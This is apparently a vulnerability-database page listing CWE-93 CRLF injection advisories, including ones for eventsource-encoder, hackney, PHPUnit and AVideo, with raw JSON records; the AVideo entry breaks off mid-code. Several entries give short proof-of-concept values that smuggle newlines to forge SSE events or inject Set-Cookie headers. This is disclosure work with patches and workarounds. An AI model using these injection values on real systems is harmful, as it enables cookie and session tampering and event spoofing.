Common Weakness Enumeration

CWE-93

Allowed

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

385 vulnerabilities reference this CWE, most recent first.

GHSA-M9G3-3G99-MHPX

Vulnerability from github – Published: 2026-05-08 20:49 – Updated: 2026-06-08 23:29
VLAI
Summary
eventsource-encoder vulnerable to SSE event injection via unsanitized `event` and `id` fields
Details

Summary

eventsource-encoder does not sanitize the event or id fields of an EventSourceMessage before serializing them. An attacker who controls either field can inject arbitrary Server-Sent Events line terminators (\n, \r, or \r\n) and thereby forge additional SSE fields or entire messages on the stream. This is similar in spirit to GHSA-4hxc-9384-m385 (h3), but the vulnerable fields are event/id rather than data/comment. These are less likely to be user-controllable, but should still be sanitized.

Details

In src/encode.ts, encodeMessage interpolates event and id into the output without inspecting them for line terminators:

if (message.event) {
  output += `event: ${message.event}\n`
}
// ...
if (typeof message.id === 'string' || typeof message.id === 'number') {
  output += `id: ${message.id}\n`
}

The SSE specification treats \r, \n, and \r\n as line terminators. A \n (or \r) embedded in either field is rendered as the end of that field, allowing the rest of the input to be interpreted by the client as new SSE fields.

By contrast, data and comment already normalize all three line-terminator forms via NEWLINES_RE = /(\r\n|\r|\n)/g, so they are not affected.

Proof of concept

import {encode} from 'eventsource-encoder'

// Attacker-controlled value flows into `event`
const userSuppliedTopic = 'message\nevent: admin\ndata: {"role":"admin"}'

console.log(encode({event: userSuppliedTopic, data: 'hello'}))

Output:

event: message
event: admin
data: {"role":"admin"}
data: hello

The browser sees two events: a forged admin event with attacker-chosen payload, followed by the legitimate message event. The same primitive works through id for any string id value.

Impact

If untrusted input is passed into the event or id field of a message, an attacker can:

  • Spoof events of arbitrary type (rerouting payloads to handlers the attacker chooses)
  • Inject additional SSE fields (data:, id:, retry:) into the stream
  • Split a single encode() call into multiple distinct browser events
  • Override the client's Last-Event-ID via injected id: lines

The vulnerability requires that an application places attacker-controlled data into event or id. Applications that only put trusted, statically-defined values into these fields are not affected.

Patches

Fixed in eventsource-encoder@1.0.2. The event and string id fields are now validated; any value containing \r or \n causes the encoder to throw a TypeError rather than emit a malformed stream.

Workarounds

If users cannot upgrade, validate or strip line terminators from any untrusted value before passing it to encode / encodeMessage:

function safeSingleLine(value) {
  if (/[\r\n]/.test(value)) throw new Error('SSE field must be single-line')
  return value
}

encode({event: safeSingleLine(topic), id: safeSingleLine(id), data})

Resources

  • Related advisory (different package, same class): https://github.com/advisories/GHSA-4hxc-9384-m385
  • SSE spec, line terminators: https://html.spec.whatwg.org/multipage/server-sent-events.html#parsing-an-event-stream

Credit

Discovered while reviewing in light of GHSA-4hxc-9384-m385.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "eventsource-encoder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T20:49:40Z",
    "nvd_published_at": "2026-05-26T20:16:19Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`eventsource-encoder` does not sanitize the `event` or `id` fields of an `EventSourceMessage` before serializing them. An attacker who controls either field can inject arbitrary Server-Sent Events line terminators (`\\n`, `\\r`, or `\\r\\n`) and thereby forge additional SSE fields or entire messages on the stream. This is similar in spirit to [GHSA-4hxc-9384-m385](https://github.com/advisories/GHSA-4hxc-9384-m385) (h3), but the vulnerable fields are `event`/`id` rather than `data`/`comment`. These are less likely to be user-controllable, but should still be sanitized.\n\n### Details\n\nIn `src/encode.ts`, `encodeMessage` interpolates `event` and `id` into the output without inspecting them for line terminators:\n\n```ts\nif (message.event) {\n  output += `event: ${message.event}\\n`\n}\n// ...\nif (typeof message.id === \u0027string\u0027 || typeof message.id === \u0027number\u0027) {\n  output += `id: ${message.id}\\n`\n}\n```\n\nThe SSE specification treats `\\r`, `\\n`, and `\\r\\n` as line terminators. A `\\n` (or `\\r`) embedded in either field is rendered as the end of that field, allowing the rest of the input to be interpreted by the client as new SSE fields.\n\nBy contrast, `data` and `comment` already normalize all three line-terminator forms via `NEWLINES_RE = /(\\r\\n|\\r|\\n)/g`, so they are not affected.\n\n### Proof of concept\n\n```js\nimport {encode} from \u0027eventsource-encoder\u0027\n\n// Attacker-controlled value flows into `event`\nconst userSuppliedTopic = \u0027message\\nevent: admin\\ndata: {\"role\":\"admin\"}\u0027\n\nconsole.log(encode({event: userSuppliedTopic, data: \u0027hello\u0027}))\n```\n\nOutput:\n\n```\nevent: message\nevent: admin\ndata: {\"role\":\"admin\"}\ndata: hello\n\n```\n\nThe browser sees two events: a forged `admin` event with attacker-chosen payload, followed by the legitimate `message` event. The same primitive works through `id` for any string id value.\n\n### Impact\n\nIf untrusted input is passed into the `event` or `id` field of a message, an attacker can:\n\n- Spoof events of arbitrary type (rerouting payloads to handlers the attacker chooses)\n- Inject additional SSE fields (`data:`, `id:`, `retry:`) into the stream\n- Split a single `encode()` call into multiple distinct browser events\n- Override the client\u0027s `Last-Event-ID` via injected `id:` lines\n\nThe vulnerability requires that an application places attacker-controlled data into `event` or `id`. Applications that only put trusted, statically-defined values into these fields are not affected.\n\n### Patches\n\nFixed in `eventsource-encoder@1.0.2`. The `event` and string `id` fields are now validated; any value containing `\\r` or `\\n` causes the encoder to throw a `TypeError` rather than emit a malformed stream.\n\n### Workarounds\n\nIf users cannot upgrade, validate or strip line terminators from any untrusted value before passing it to `encode` / `encodeMessage`:\n\n```js\nfunction safeSingleLine(value) {\n  if (/[\\r\\n]/.test(value)) throw new Error(\u0027SSE field must be single-line\u0027)\n  return value\n}\n\nencode({event: safeSingleLine(topic), id: safeSingleLine(id), data})\n```\n\n### Resources\n\n- Related advisory (different package, same class): https://github.com/advisories/GHSA-4hxc-9384-m385\n- SSE spec, line terminators: https://html.spec.whatwg.org/multipage/server-sent-events.html#parsing-an-event-stream\n\n### Credit\n\nDiscovered while reviewing in light of GHSA-4hxc-9384-m385.",
  "id": "GHSA-m9g3-3g99-mhpx",
  "modified": "2026-06-08T23:29:22Z",
  "published": "2026-05-08T20:49:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rexxars/eventsource-encoder/security/advisories/GHSA-m9g3-3g99-mhpx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44214"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rexxars/eventsource-encoder"
    },
    {
      "type": "WEB",
      "url": "https://html.spec.whatwg.org/multipage/server-sent-events.html#parsing-an-event-stream"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "eventsource-encoder vulnerable to SSE event injection via unsanitized `event` and `id` fields"
}

GHSA-MCVM-9XXC-24JX

Vulnerability from github – Published: 2026-06-04 18:30 – Updated: 2026-06-04 21:31
VLAI
Details

Etsy::StatsD versions through 1.002002 for Perl allow metric injections.

The metric names and values are not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.

Note that the git repository contains an unreleased version with the gauge and set methods that also do not check for potential metric injections.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-46741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T17:16:32Z",
    "severity": "HIGH"
  },
  "details": "Etsy::StatsD versions through 1.002002 for Perl allow metric injections.\n\nThe metric names and values are not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.\n\nNote that the git repository contains an unreleased version with the gauge and set methods that also do not check for potential metric injections.",
  "id": "GHSA-mcvm-9xxc-24jx",
  "modified": "2026-06-04T21:31:21Z",
  "published": "2026-06-04T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46741"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46720"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MGR7-5782-6JH9

Vulnerability from github – Published: 2025-01-13 16:18 – Updated: 2025-01-13 16:18
VLAI
Summary
The Umbraco Heartcore headless client library uses a vulnerable Refit dependency package
Details

Impact

The Heartcore headless client library depends on Refit to assist in making HTTP requests to Heartcore public APIs. Refit recently published an advisory regarding a CRLF injection vulnerability whereby it is possible for a malicious user to smuggle additional headers or potentially body content into a request.

This shouldn't affect Heartcore client library usage as the vulnerable method - HttpHeaders.TryAddWithoutValidation - is not used. However, since Refit is a transient dependency for applications using this library, then any users making direct use of Refit could be vulnerable.

Patches

The vulnerable version of Refit has been upgraded to a secure version, as of Umbraco.Headless.Client.Net version 1.5.0, available on Nuget.

Workarounds

If calling Refit from your own code, set any necessary HTTP headers without use of HttpHeaders.TryAddWithoutValidation.

References

See the original Refit advisory for further info.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.1"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Umbraco.Headless.Client.Net"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1395",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-13T16:18:39Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nThe Heartcore headless client library depends on [Refit ](https://github.com/reactiveui/refit) to assist in making HTTP requests to Heartcore public APIs. Refit recently published an advisory regarding a CRLF injection vulnerability whereby it is possible for a malicious user to smuggle additional headers or potentially body content into a request.\n\nThis shouldn\u0027t affect Heartcore client library usage as the vulnerable method - `HttpHeaders.TryAddWithoutValidation` - is not used. However, since Refit is a transient dependency for applications using this library, then any users making direct use of Refit could be vulnerable.\n\n### Patches\nThe vulnerable version of Refit has been upgraded to a secure version, as of Umbraco.Headless.Client.Net version 1.5.0, available on [Nuget](https://www.nuget.org/packages/Umbraco.Headless.Client.Net/1.5.0).\n\n### Workarounds\nIf calling Refit from your own code, set any necessary HTTP headers without use of `HttpHeaders.TryAddWithoutValidation`.\n\n### References\nSee the [original Refit advisory](https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7) for further info.\n",
  "id": "GHSA-mgr7-5782-6jh9",
  "modified": "2025-01-13T16:18:39Z",
  "published": "2025-01-13T16:18:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/umbraco/Umbraco.Headless.Client.Net/security/advisories/GHSA-mgr7-5782-6jh9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51501"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/umbraco/Umbraco.Headless.Client.Net"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "The Umbraco Heartcore headless client library uses a vulnerable Refit dependency package"
}

GHSA-MGWX-W2XC-PJQ7

Vulnerability from github – Published: 2026-04-16 03:31 – Updated: 2026-04-16 03:31
VLAI
Details

MailGates/MailAudit developed by Openfind has a CRLF Injection vulnerability, allowing unauthenticated remote attackers to exploit this vulnerability to read system files.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-16T03:16:31Z",
    "severity": "HIGH"
  },
  "details": "MailGates/MailAudit developed by Openfind has a CRLF Injection vulnerability, allowing unauthenticated remote attackers to exploit this vulnerability to read system files.",
  "id": "GHSA-mgwx-w2xc-pjq7",
  "modified": "2026-04-16T03:31:06Z",
  "published": "2026-04-16T03:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6351"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10843-9ff91-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10844-1405d-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MH6W-VXFF-9WQP

Vulnerability from github – Published: 2026-04-22 14:56 – Updated: 2026-04-22 14:56
VLAI
Summary
PHPUnit: Argument injection via newline in PHP INI values forwarded to child processes
Details

Impact

PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives.

An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process.

Sources of INI values that participate in the attack:

  • <ini name="…" value="…"/> entries in phpunit.xml / phpunit.xml.dist
  • INI settings inherited from the host PHP runtime via ini_get_all()

Threat Model

Exploitation requires the attacker to control the content of an INI value read by PHPUnit. In practice this means write access to the project's phpunit.xml, the host php.ini, or the PHP binary's environment. The most realistic exposure is Poisoned Pipeline Execution (PPE): a pull request from an untrusted contributor that modifies phpunit.xml to include a newline-containing INI value, executed by a CI system that runs PHPUnit against the PR without isolation. A malicious newline is not visibly distinguishable from a legitimate value in a typical diff review.

Affected Component

PHPUnit\Util\PHP\JobRunner::settingsToParameters()

Patches

The fix has two parts:

1. Reject line-break characters

Because a newline or carriage return in an INI value has no legitimate use and is the primitive that enables directive injection, any PHP setting value containing \n or \r is now rejected with an explicit PhpProcessException. This follows the same "visibility over silence" principle applied in CVE-2026-24765: the anomalous state fails loudly in CI output rather than being silently sanitized, giving operators an opportunity to investigate whether it reflects tampering, environment contamination, or an unexpected upstream change.

2. Quote remaining metacharacters

Values containing " or ;, both of which have legitimate uses (e.g., regex-valued INI settings such as ddtrace's datadog.appsec.obfuscation_parameter_value_regexp), are wrapped in double quotes with inner " escaped as \", so PHP's INI parser reads them as literal string contents rather than comment/delimiter tokens. Plain values are forwarded unchanged so that boolean keywords (On/Off) and bitwise expressions (E_ALL & ~E_NOTICE) retain their INI semantics.

Workarounds

If upgrading is not immediately possible:

  1. Audit INI values: Ensure no <ini value="…"> entry in phpunit.xml / phpunit.xml.dist contains newline, ", or ; characters, and that nothing writes such values into configuration at build time.
  2. Isolate CI execution of untrusted code: Run PHPUnit against pull requests only in ephemeral, containerized runners that discard filesystem state between jobs; require human review before executing PRs from forks; enforce branch protection on workflows that handle secrets (pull_request_target and similar). These mitigations apply to the broader PPE risk class and are effective against this vulnerability as well.
  3. Restrict who can modify phpunit.xml: Treat phpunit.xml as security-sensitive in code review, particularly <ini> entries.
  4. Sanitize host INI: Ensure the host PHP's php.ini does not contain values with embedded newlines or unescaped metacharacters.
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpunit/phpunit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.5.21"
            },
            {
              "fixed": "12.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpunit/phpunit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.1.5"
            },
            {
              "fixed": "13.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T14:56:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Impact\n\nPHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as `-d name=value` command-line arguments without neutralizing INI metacharacters. Because PHP\u0027s INI parser interprets `\"` as a string delimiter, `;` as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as **multiple INI directives**.\n\nAn attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child\u0027s configuration, including `auto_prepend_file`, `extension`, `disable_functions`, `open_basedir`, and others. Setting `auto_prepend_file` to an attacker-controlled path yields **remote code execution** in the child process.\n\n**Sources of INI values that participate in the attack:**\n\n- `\u003cini name=\"\u2026\" value=\"\u2026\"/\u003e` entries in `phpunit.xml` / `phpunit.xml.dist`\n- INI settings inherited from the host PHP runtime via `ini_get_all()`\n\n## Threat Model\n\nExploitation requires the attacker to control the content of an INI value read by PHPUnit. In practice this means write access to the project\u0027s `phpunit.xml`, the host `php.ini`, or the PHP binary\u0027s environment. The most realistic exposure is **Poisoned Pipeline Execution (PPE)**: a pull request from an untrusted contributor that modifies `phpunit.xml` to include a newline-containing INI value, executed by a CI system that runs PHPUnit against the PR without isolation. A malicious newline is not visibly distinguishable from a legitimate value in a typical diff review.\n\n## Affected Component\n\n`PHPUnit\\Util\\PHP\\JobRunner::settingsToParameters()`\n\n## Patches\n\nThe fix has two parts:\n\n### 1. Reject line-break characters\n\nBecause a newline or carriage return in an INI value has no legitimate use and is the primitive that enables directive injection, any PHP setting value containing `\\n` or `\\r` is now rejected with an explicit `PhpProcessException`. This follows the same \"visibility over silence\" principle applied in **CVE-2026-24765**: the anomalous state fails loudly in CI output rather than being silently sanitized, giving operators an opportunity to investigate whether it reflects tampering, environment contamination, or an unexpected upstream change.\n\n### 2. Quote remaining metacharacters\n\nValues containing `\"` or `;`, both of which have legitimate uses (e.g., regex-valued INI settings such as ddtrace\u0027s `datadog.appsec.obfuscation_parameter_value_regexp`), are wrapped in double quotes with inner `\"` escaped as `\\\"`, so PHP\u0027s INI parser reads them as literal string contents rather than comment/delimiter tokens. Plain values are forwarded unchanged so that boolean keywords (`On`/`Off`) and bitwise expressions (`E_ALL \u0026 ~E_NOTICE`) retain their INI semantics.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n\n1. **Audit INI values:** Ensure no `\u003cini value=\"\u2026\"\u003e` entry in `phpunit.xml` / `phpunit.xml.dist` contains newline, `\"`, or `;` characters, and that nothing writes such values into configuration at build time.\n2. **Isolate CI execution of untrusted code:** Run PHPUnit against pull requests only in ephemeral, containerized runners that discard filesystem state between jobs; require human review before executing PRs from forks; enforce branch protection on workflows that handle secrets (`pull_request_target` and similar). These mitigations apply to the broader PPE risk class and are effective against this vulnerability as well.\n3. **Restrict who can modify `phpunit.xml`:** Treat `phpunit.xml` as security-sensitive in code review, particularly `\u003cini\u003e` entries.\n4. **Sanitize host INI:** Ensure the host PHP\u0027s `php.ini` does not contain values with embedded newlines or unescaped metacharacters.",
  "id": "GHSA-mh6w-vxff-9wqp",
  "modified": "2026-04-22T14:56:07Z",
  "published": "2026-04-22T14:56:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-qrr6-mg7r-m243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebastianbergmann/phpunit/pull/6592"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/phpunit/phpunit/GHSA-qrr6-mg7r-m243.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebastianbergmann/phpunit"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHPUnit: Argument injection via newline in PHP INI values forwarded to child processes"
}

GHSA-MP55-P8C9-RFW2

Vulnerability from github – Published: 2026-06-26 21:54 – Updated: 2026-06-26 21:54
VLAI
Summary
Hackney has CRLF / header injection via unvalidated `domain` and `path` options
Details

Summary

CRLF injection in hackney_cookie:setcookie/3 (src/hackney_cookie.erl). The function validates Name and Value against CR/LF and control characters but concatenates the domain and path options verbatim into the output binary. If either option carries attacker-controlled data, a Host header forwarded as the cookie domain, a request URI forwarded as the cookie path, a \r\n in the value splits the Set-Cookie header and lets the attacker inject additional headers into the HTTP response.

Details

1. Asymmetric validation

Lines 27–34 of hackney_cookie.erl run binary:match on Name and Value, rejecting =, ,, ;, whitespace, \r, \n, \013, and \014. The Domain and Path options (lines 47 and 51) skip this check entirely and land straight in the result iolist:

[<<"; Domain=">>, Domain]
[<<"; Path=">>,   Path]

iolist_to_binary(...) on line 63 flattens everything and returns it to the caller.

2. Injection

A Path of <<"/x\r\nSet-Cookie: admin=1; Path=/">> produces a binary with a literal \r\n. Written into a Set-Cookie response header, the receiving HTTP parser splits it into two headers — one legitimate, one attacker-controlled.

3. Realistic trigger

Common patterns: keying the cookie domain off Host, deriving the path from the request URI, or copying a Location path into a cookie. Any of these lets a remote attacker control the injected content.

PoC

  1. Call hackney_cookie:setcookie(<<"sid">>, <<"abc">>, [{path, <<"/x\r\nSet-Cookie: admin=1; Path=/">>}]).
  2. The returned binary contains a literal \r\n followed by a second Set-Cookie: line.
  3. Write the result into a Set-Cookie response header — the client parses two headers, including admin=1.

Impact

Cookie injection / HTTP response splitting at the hackney_cookie API boundary. Affects hackney 0.9.0 through 4.0.0 wherever domain or path options are populated from request data. Exploitation can overwrite session/auth cookies, fix cookies, or strip Secure/HttpOnly flags. CVSS v4.0: 2.1 (LOW) — requires attacker-controlled input to reach the domain or path option.

Resources

  • Introduction commit: https://github.com/benoitc/hackney/commit/602d5c7f2ea4acbc83ed75230655d935a0750ebc
  • Patch commit: https://github.com/benoitc/hackney/commit/8e02b99c28aea1b3fa2ddc0e66f51fe5bb0ac540
Severity
2.1 (Low)
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "hackney"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:54:19Z",
    "nvd_published_at": "2026-05-25T15:16:21Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nCRLF injection in `hackney_cookie:setcookie/3` (`src/hackney_cookie.erl`). The function validates `Name` and `Value` against CR/LF and control characters but concatenates the `domain` and `path` options verbatim into the output binary. If either option carries attacker-controlled data, a `Host` header forwarded as the cookie domain, a request URI forwarded as the cookie path, a `\\r\\n` in the value splits the `Set-Cookie` header and lets the attacker inject additional headers into the HTTP response.\n\n### Details\n\n**1. Asymmetric validation**\n\nLines 27\u201334 of `hackney_cookie.erl` run `binary:match` on `Name` and `Value`, rejecting `=`, `,`, `;`, whitespace, `\\r`, `\\n`, `\\013`, and `\\014`. The `Domain` and `Path` options (lines 47 and 51) skip this check entirely and land straight in the result iolist:\n\n```erlang\n[\u003c\u003c\"; Domain=\"\u003e\u003e, Domain]\n[\u003c\u003c\"; Path=\"\u003e\u003e,   Path]\n```\n\n`iolist_to_binary(...)` on line 63 flattens everything and returns it to the caller.\n\n**2. Injection**\n\nA `Path` of `\u003c\u003c\"/x\\r\\nSet-Cookie: admin=1; Path=/\"\u003e\u003e` produces a binary with a literal `\\r\\n`. Written into a `Set-Cookie` response header, the receiving HTTP parser splits it into two headers \u2014 one legitimate, one attacker-controlled.\n\n**3. Realistic trigger**\n\nCommon patterns: keying the cookie domain off `Host`, deriving the path from the request URI, or copying a `Location` path into a cookie. Any of these lets a remote attacker control the injected content.\n\n### PoC\n\n1. Call `hackney_cookie:setcookie(\u003c\u003c\"sid\"\u003e\u003e, \u003c\u003c\"abc\"\u003e\u003e, [{path, \u003c\u003c\"/x\\r\\nSet-Cookie: admin=1; Path=/\"\u003e\u003e}])`.\n2. The returned binary contains a literal `\\r\\n` followed by a second `Set-Cookie:` line.\n3. Write the result into a `Set-Cookie` response header \u2014 the client parses two headers, including `admin=1`.\n\n### Impact\n\nCookie injection / HTTP response splitting at the `hackney_cookie` API boundary. Affects hackney 0.9.0 through 4.0.0 wherever `domain` or `path` options are populated from request data. Exploitation can overwrite session/auth cookies, fix cookies, or strip `Secure`/`HttpOnly` flags. CVSS v4.0: **2.1 (LOW)** \u2014 requires attacker-controlled input to reach the `domain` or `path` option.\n\n## Resources\n\n* Introduction commit: https://github.com/benoitc/hackney/commit/602d5c7f2ea4acbc83ed75230655d935a0750ebc\n* Patch commit: https://github.com/benoitc/hackney/commit/8e02b99c28aea1b3fa2ddc0e66f51fe5bb0ac540",
  "id": "GHSA-mp55-p8c9-rfw2",
  "modified": "2026-06-26T21:54:19Z",
  "published": "2026-06-26T21:54:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/benoitc/hackney/security/advisories/GHSA-mp55-p8c9-rfw2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47069"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benoitc/hackney/commit/8e02b99c28aea1b3fa2ddc0e66f51fe5bb0ac540"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-47069.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/benoitc/hackney"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-47069"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hackney has CRLF / header injection via unvalidated `domain` and `path` options"
}

GHSA-MWGH-92M2-WVHV

Vulnerability from github – Published: 2026-05-05 22:14 – Updated: 2026-05-13 14:20
VLAI
Summary
AVideo: Unauthenticated CRLF/ICS Injection in Scheduler downloadICS.php Allows Calendar Event Spoofing
Details

Summary

The unauthenticated plugin/Scheduler/downloadICS.php endpoint passes attacker-controlled title, description, and joinURL parameters into Scheduler::downloadICS(), which builds an ICS calendar file via the ICS helper class. ICS::escape_string() (objects/ICS.php:167-169) only escapes , and ; and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including END:VEVENT / BEGIN:VEVENT pairs that add entire attacker-controlled calendar events. Because the malicious .ics file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen SUMMARY, URL, LOCATION, and DESCRIPTION landing in the victim's calendar after import.

Details

Vulnerable code path

plugin/Scheduler/downloadICS.php — unauthenticated entry point:

if(!AVideoPlugin::isEnabledByName('Scheduler')){
    forbiddenPage('Scheduler is disabled');
}
if(empty($_REQUEST['title'])){ forbiddenPage('Title cannot be empty'); }
if(empty($_REQUEST['date_start'])){ forbiddenPage('date_start cannot be empty'); }

Scheduler::downloadICS($_REQUEST['title'], $_REQUEST['date_start'], @$_REQUEST['date_end'],
    @$_REQUEST['reminder'], @$_REQUEST['joinURL'], @$_REQUEST['description']);

There is no session check, no CSRF token, no user-role check — only an empty-check on title/date_start and a plugin-enabled check.

plugin/Scheduler/Scheduler.php:367-382 passes inputs directly to the ICS builder:

$props = array(
    'location' => $location,
    'description' => $description,   // attacker-controlled
    'dtstart' => $dtstart,
    'dtend' => $dtend,
    'summary' => $title,             // attacker-controlled
    'url' => $joinURL,               // attacker-controlled
